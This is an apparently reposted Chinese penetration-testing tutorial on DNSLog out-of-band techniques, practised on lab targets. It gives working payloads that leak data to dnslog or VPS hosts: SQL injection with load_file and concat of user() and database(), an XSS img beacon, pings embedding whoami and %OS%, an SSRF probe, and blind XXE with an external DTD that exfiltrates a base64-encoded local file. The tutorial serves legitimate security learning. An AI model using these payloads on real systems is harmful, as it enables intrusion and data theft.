zoukankan      html  css  js  c++  java
  • DNSLog进行无回显渗透测试

    一、什么是DNSLog

    DNS的全称是Domain Name System(网络名称系统),它作为将域名和IP地址相互映射,使人更方便地访问互联网。当用户输入某一网址如www.baidu.com,网络上的DNS Server会将该域名解析,并找到对应的真实IP如127.0.0.1,使用户可以访问这台服务器上相应的服务。

    DNSlog就是存储在DNS Server上的域名信息,它记录着用户对域名www.baidu.com等的访问信息,类似日志文件。

    二、DNSLog利用原理

    将dnslog平台中的特有字段payload带入目标发起dns请求,通过dns解析将请求后的关键信息组合成新的三级域名带出,在ns服务器的dns日志中显示出来。

    DNSlog就是存储在DNS服务器上的域名信息,它记录着用户对域名www.baidu.com等的访问信息,类似于日志文件。

    简单来说,就是我有个已注册的域名a.com,我在域名代理商那里将域名设置对应的ip 1.1.1.1 上,这样当我向dns服务器发起a.com的解析请求时,DNSlog中会记录下他给a.com解析,解析值为1.1.1.1,而我们这个解析的记录的值就是我们要利用的地方。

    四、DNSLog平台

    推荐平台:

    http://www.dnslog.cn
    http://admin.dnslog.link
    http://ceye.io

    自己搭建DNSLog平台选择:https://github.com/BugScanTeam/DNSLog

    五、渗透测试之DNSLog使用

    • SQL注入中的盲注
    • XSS盲打
    • 无回显的命令执行
    • 无回显的SSRF
    • 无回显的XXE(Blind XXE)

    5.1. SQL注入盲注

    在sql注入时为布尔盲注、时间盲注,注入的效率低且线程高容易被waf拦截,又或者是目标站点没有回显

    5.1.1. 利用条件

    1. load_file()
    2. 读写权限
    3. Windows(UNC路径)

    5.1.2. load_file与secure_file_priv设置

    例子:

    select load_file('/etc/passwd')

    1、必须有权限读取并且文件必须完全可读

    and (select count(*) from mysql.user)>0 /*如果结果返回正常,说明具有读写权限.*/
    and (select count(*) from mysql.user)>0 /*返回错误,应该是管理员给数据库账户降权了*/

    自己搭建环境的时候可以去mysql数据库连接的时候设置下(去my.ini检查下有没有这个参数,没有就手写一个),设置完重启数据库。

    set global secure_file_priv='';

    这里拿sqli-labs第五关盲注去做这个。

    http://localhost/sqli-labs/Less-5/?id=-1' union select 1,2,load_file(concat('//',(select database()),'.6.ijowns.dnslog.cn/a'))--+

    可以看到下图,已经回显到了DNSLog上面了(其实照我们这个权限写个webshell都没问题了)。

     TIPS:

    用户名payload:and (select load_file(concat('//',(select hex(user())),'.6.ijowns.dnslog.cn/a')))
    
    注意:为什么要对查询的内容进行hex编码?
    如果我们要查询的用户名中存在特殊字符:如!@#$%^&
    最后在请求DNS服务器时变成:!@#$%^&*.upa46v.dnslog.cn
    存在特殊字符的域名无法解析。因此在DNS日志中也找不到我们查询的数据。
    所以在我们查询时,当不确定查询结果是否存在特殊字符时,最好先将其hex编码后在带入查询。

    5.2. XSS盲打

    通过盲打,让触发者浏览器访问预设至的链接地址,如果盲打成功,会在平台上收到如下的链接访问记录:

    payload:

     <img src=http://dddxss.ijowns.dnslog.cn>

    让src请求我们的dnslog平台。这里举个例子:

    下面可以看到回显的效果。

    5.3. 无回显的命令执行

    5.3.1. Windows使用方法

    变量                                           类型       描述
    %USERNAME%                                     返回当前登录的用户的名称。
    %USERDOMAIN%                                   返回包含用户帐户的域的名称。
    %OS%                                           返回操作系统名称。Windows 2000 显示其操作系统为 Windows_NT。
    %USERPROFILE%                                  返回当前用户的配置文件的位置。
    %ALLUSERSPROFILE%                           返回“所有用户”配置文件的位置。
    %APPDATA%                                 返回默认情况下应用程序存储数据的位置。
    %CD%                                       返回当前目录字符串。
    %CMDCMDLINE%                                    返回用来启动当前的 Cmd.exe 的准确命令行。
    %CMDEXTVERSION%                              返回当前的“命令处理程序扩展”的版本号。
    %COMPUTERNAME%                                返回计算机的名称。
    %COMSPEC%                                            返回命令行解释器可执行程序的准确路径。
    %DATE%                                                  返回当前日期。
    %ERRORLEVEL%                                  返回上一条命令的错误代码。通常用非零值表示错误。
    %HOMEDRIVE%                                           返回连接到用户主目录的本地工作站驱动器号。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
    %HOMEPATH%                                             返回用户主目录的完整路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
    %HOMESHARE%                                           返回用户的共享主目录的网络路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
    %LOGONSERVER%                                      返回验证当前登录会话的域控制器的名称。
    %NUMBER_OF_PROCESSORS%                 指定安装在计算机上的处理器的数目。
    %PATH%                                          指定可执行文件的搜索路径。
    %PATHEXT%                                                 返回操作系统认为可执行的文件扩展名的列表。
    %PROCESSOR_ARCHITECTURE%              返回处理器的芯片体系结构。值:x86 或 IA64(基于 Itanium)。
    %PROCESSOR_IDENTFIER%                    返回处理器说明。
    %PROCESSOR_LEVEL%                            返回计算机上安装的处理器的型号。
    %PROCESSOR_REVISION%                       返回处理器的版本号。
    %PROMPT%                                           返回当前解释程序的命令提示符设置。由 Cmd.exe 生成。
    %RANDOM%                                          返回 032767 之间的任意十进制数字。由 Cmd.exe 生成。
    %SYSTEMDRIVE%                                  返回 Windows server operating system 根目录的位置。
    %TEMP%和%TMP%                                 返回对当前登录用户可用的应用程序所使用的默认临时目录。有些应用程序需要 TEMP,而其他应用程序则需要 TMP。
    %TIME%                                         返回当前时间。使用与time /t命令相同的格式。由Cmd.exe生成。有关time命令的详细信息,请参阅 Time。
    %WINDIR%                                       返回操作系统目录的位置
    ping %OS%.ijowns.dnslog.cn

     回显效果:

     5.3.2. Linux使用方法

    ping -c 1 `whoami`.niddp9.dnslog.cn

     回显效果:

     5.4. 无回显SSRF

    根据自己需要可以加一些字符到域名前面或目录后面,通过dnslog判断是否存在ssrf漏洞。

    http://localhost/ssrf.php?url=http://zdutpn.dnslog.cn

    回显效果:

    5.5. 无回显的XXE(Blind XXE)

    pikachu靶场的xxe漏洞,把回显注释了。

    测试payload:

    <?xml version="1.0"?>
    <!DOCTYPE ANY [
    <!ENTITY f SYSTEM "http://qfi2jk.dnslog.cn">
    ]>
    <x>&f;</x>

    回显效果:

    5.5.1. XXE漏洞盲打之文件读取

    有输出的时候:

    payload:

    <?xml version="1.0"?>
    <!DOCTYPE ANY [
    <!ENTITY f SYSTEM "file:///e:/java/test.txt"> 
    ]>
    <x>&f;</x>

    无回显:

    接下来通过DNSLog进行外带数据。

    VPS(IP: 192.168.110.141):

    test.dtd内容:

    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///e:/java/test.txt">
    <!ENTITY % int "<!ENTITY % send SYSTEM 'http://vps的ip:7896/%file;'>">

    这段代码的意思是:实体int为http://vps的ip:7896/,实体file为file:///e:/java/test.txt(经过base64编码),

    总体的意思就是访问vps的6666端口并携带本机的e:/java/test.txt的文件。

    test.dtd内容:

    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///e:/java/test.txt">
    <!ENTITY % int "<!ENTITY % send SYSTEM 'http://192.168.110.141:7896/%file;'>">

    在这个test.dtd目录下开启web服务

    python -m SimpleHTTPServer 6796

    访问下web看看

     再连接个shell,开启一个7896端口的web服务,一会看看提交过来的数据。

    构建Payload进行提交:

    <?xml version="1.0"?>
    <!DOCTYPE ANY [
    <!ENTITY % f SYSTEM "http://192.168.110.141:6796/test.dtd">%f;%int;%send; 
    ]>

     

  • 相关阅读:
    实验
    概率与期望
    2020CSP-S模板
    洛谷:P2538 [SCOI2008]城堡
    洛谷P1731 生日蛋糕
    洛谷 P1180 石子合并
    洛谷 P2831 愤怒的小鸟
    浅谈状压DP
    浅谈线段树
    LCA-树链剖分
  • 原文地址:https://www.cnblogs.com/miruier/p/15731807.html
Copyright © 2011-2022 走看看